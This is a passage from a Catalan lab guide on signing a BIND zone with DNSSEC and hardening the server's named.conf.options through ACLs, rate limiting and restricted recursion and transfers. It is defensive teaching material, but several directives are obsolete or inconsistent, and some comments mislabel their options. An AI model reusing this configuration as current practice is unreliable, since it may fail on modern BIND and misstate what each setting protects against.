sudo named-checkzone empresa.local db.empresa.local.signed
3.4 Configuració per Usar Zona Signada
zone "empresa.local" {
type master;
file "/etc/bind/zones/db.empresa.local.signed";
allow-transfer { 192.168.3.11; };
also-notify { 192.168.3.11; };
# DNSSEC
key-directory "/etc/bind/keys";
auto-dnssec maintain;
inline-signing yes;
};
options {
// ... configuració existent ...
# DNSSEC
dnssec-enable yes;
dnssec-validation yes;
dnssec-lookaside auto;
};
3.5 Verificació DNSSEC
# Reinicia BIND
sudo systemctl restart bind9
# Verifica DNSSEC
dig @localhost empresa.local DNSKEY +dnssec
# Ha de mostrar les claus DNSKEY
dig @localhost www.empresa.local +dnssec
# Ha de mostrar registres RRSIG
# Verifica la cadena de confiança
delv @localhost www.empresa.local
# Ha de mostrar "fully validated"
# Extreu DS record per al parent
sudo dnssec-dsfromkey /etc/bind/keys/Kempresa.local.+008+12345.key
Part 4: Hardenització del Servidor DNS
4.1 Configuració Segura de BIND
# Crea backup de configuració vulnerable
sudo cp /etc/bind/named.conf.options /etc/bind/named.conf.options.vulnerable
# Nova configuració segura
sudo nano /etc/bind/named.conf.options
Configuració segura completa:
# ACL definitions
acl "trusted" {
192.168.3.0/24;
localhost;
localnets;
};
acl "blocked" {
192.168.100.0/24; # Xarxa no confiable
};
options {
directory "/var/cache/bind";
# === SEGURETAT BÀSICA ===
# Recursió només per xarxes de confiança
recursion yes;
allow-recursion { trusted; };
# Consultes només de xarxes autoritzades
allow-query { trusted; };
allow-query-cache { trusted; };
# Transferències de zona restringides
allow-transfer { 192.168.3.11; };
# === DNSSEC ===
dnssec-enable yes;
dnssec-validation yes;
dnssec-lookaside auto;
# === AMAGAR INFORMACIÓ ===
version "DNS Server";
hostname none;
server-id none;
# === RATE LIMITING ===
rate-limit {
responses-per-second 10;
window 5;
slip 2;
qps-scale 250;
exempt-clients { trusted; };
nxdomains-per-second 5;
errors-per-second 5;
all-per-second 20;
# Log attacks
log-only no;
};
# === PROTECCIÓ CONTRA CACHE POISONING ===
# Port source randomization
use-v4-udp-ports { range 1024 65535; };
use-v6-udp-ports { range 1024 65535; };
# Query ID randomization
random-device "/dev/urandom";
# === PERFORMANCE I CACHE ===
max-cache-size 256m;
max-cache-ttl 3600;
max-ncache-ttl 600;
# Cache poisoning protection
prefetch 2 9;
# === QUERY RESTRICTIONS ===
# Bloqueja consultes ANY
minimal-any yes;
# Limita clients simultanis
clients-per-query 10;
max-clients-per-query 100;
# === LISTENING INTERFACES ===
listen-on { 127.0.0.1; 192.168.3.10; };
listen-on-v6 { none; };
# === FORWARDERS ===
forwarders {
8.8.8.8;
1.1.1.1;
};
forward first;
# === ALTRES OPCIONS DE SEGURETAT ===
auth-nxdomain no;
notify explicit;
also-notify { 192.168.3.11; };
# Evita recursió per zones locals
fetch-glue no;
# Timeout més curt per evitar DoS
resolver-query-timeout 10;
};
# Estadístiques
statistics-channels {
inet 127.0.0.1 port 8080 allow { localhost; };
};